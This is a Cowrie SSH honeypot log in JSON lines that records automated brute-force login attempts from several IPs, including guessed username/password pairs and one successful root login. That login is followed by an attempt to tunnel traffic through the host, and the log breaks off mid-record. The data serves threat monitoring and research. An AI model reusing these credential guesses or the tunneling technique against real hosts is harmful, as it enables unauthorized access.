{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48958,"dst_ip":"159.203.135.109","dst_port":22,"session":"2100e3dfc4a3","protocol":"ssh","message":"New connection: 193.32.162.151:48958 (159.203.135.109:22) [session: 2100e3dfc4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.221349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.226521Z","src_ip":"193.32.162.151","session":"2100e3dfc4a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56000,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c234eca6f6","protocol":"ssh","message":"New connection: 2.57.122.208:56000 (10.17.0.5:22) [session: e9c234eca6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.239481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.305986Z","src_ip":"2.57.122.208","session":"e9c234eca6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.328026Z","src_ip":"193.32.162.151","session":"2100e3dfc4a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.406075Z","src_ip":"2.57.122.208","session":"e9c234eca6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"f5admin","password":"f5admin","message":"login attempt [f5admin/f5admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:14.752628Z","src_ip":"193.32.162.151","session":"2100e3dfc4a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:15.116982Z","src_ip":"2.57.122.208","session":"e9c234eca6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:15.887146Z","src_ip":"193.32.162.151","session":"2100e3dfc4a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:16.309219Z","src_ip":"2.57.122.208","session":"e9c234eca6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"74dd5754915a","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 74dd5754915a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:26.009152Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:28.221925Z","src_ip":"64.89.160.135","session":"74dd5754915a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60034,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d7df22ac86","protocol":"ssh","message":"New connection: 80.94.92.186:60034 (10.17.0.5:22) [session: c8d7df22ac86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:54.431025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:54.505071Z","src_ip":"80.94.92.186","session":"c8d7df22ac86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:54.676228Z","src_ip":"80.94.92.186","session":"c8d7df22ac86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:56.167055Z","src_ip":"80.94.92.186","session":"c8d7df22ac86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:27:57.529330Z","src_ip":"80.94.92.186","session":"c8d7df22ac86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2afbe5e3c01f","protocol":"ssh","message":"New connection: 193.32.162.151:36596 (159.203.135.109:22) [session: 2afbe5e3c01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:29.428699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:29.432689Z","src_ip":"193.32.162.151","session":"2afbe5e3c01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:29.532844Z","src_ip":"193.32.162.151","session":"2afbe5e3c01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:29.830747Z","src_ip":"193.32.162.151","session":"2afbe5e3c01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:30.933985Z","src_ip":"193.32.162.151","session":"2afbe5e3c01f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48638,"dst_ip":"10.17.0.5","dst_port":22,"session":"dec374487f23","protocol":"ssh","message":"New connection: 2.57.122.208:48638 (10.17.0.5:22) [session: dec374487f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:32.806673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:32.811988Z","src_ip":"2.57.122.208","session":"dec374487f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:32.909896Z","src_ip":"2.57.122.208","session":"dec374487f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:33.342316Z","src_ip":"2.57.122.208","session":"dec374487f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:29:34.506461Z","src_ip":"2.57.122.208","session":"dec374487f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":60054,"dst_ip":"159.203.135.109","dst_port":22,"session":"d78d2cc2cad4","protocol":"ssh","message":"New connection: 80.94.95.118:60054 (159.203.135.109:22) [session: d78d2cc2cad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:28.194721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:28.199586Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:28.305835Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:28.846555Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"80.94.95.118","src_port":44932,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:44932","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:35.892107Z","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:39.319979Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xd2\\xfel\\xde\\xdd\\xa6O\\xd3\\xa6\\x97\\xa0\\x7f\\xf9\\xd6\\xaf\\xcc\\xf5\\xa3\\xaa4\\xa5\\x06\\x05 \\x80\\xea\\xf9\\x1cF$g g\\xc4\\x9a\\x01\\x1aS\\xc2\\x7f\\xc0d\\x9cq\\xe7\\x03\\x84\\xd4\\xec\\t\\x00\\xbcI\\x17a\\xef1\\xe0\\x83OH\\xaduS\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 @i\\x1a\\x12\\x03\\x10vH\\x01\\xd5q>q\\xddZ\\x05}K\\nMU\\x83\\xd9 Z7\\x9fi\\xb6\\xf8\\xfe-\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xd2\\xfel\\xde\\xdd\\xa6O\\xd3\\xa6\\x97\\xa0\\x7f\\xf9\\xd6\\xaf\\xcc\\xf5\\xa3\\xaa4\\xa5\\x06\\x05 \\x80\\xea\\xf9\\x1cF$g g\\xc4\\x9a\\x01\\x1aS\\xc2\\x7f\\xc0d\\x9cq\\xe7\\x03\\x84\\xd4\\xec\\t\\x00\\xbcI\\x17a\\xef1\\xe0\\x83OH\\xaduS\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 @i\\x1a\\x12\\x03\\x10vH\\x01\\xd5q>q\\xddZ\\x05}K\\nMU\\x83\\xd9 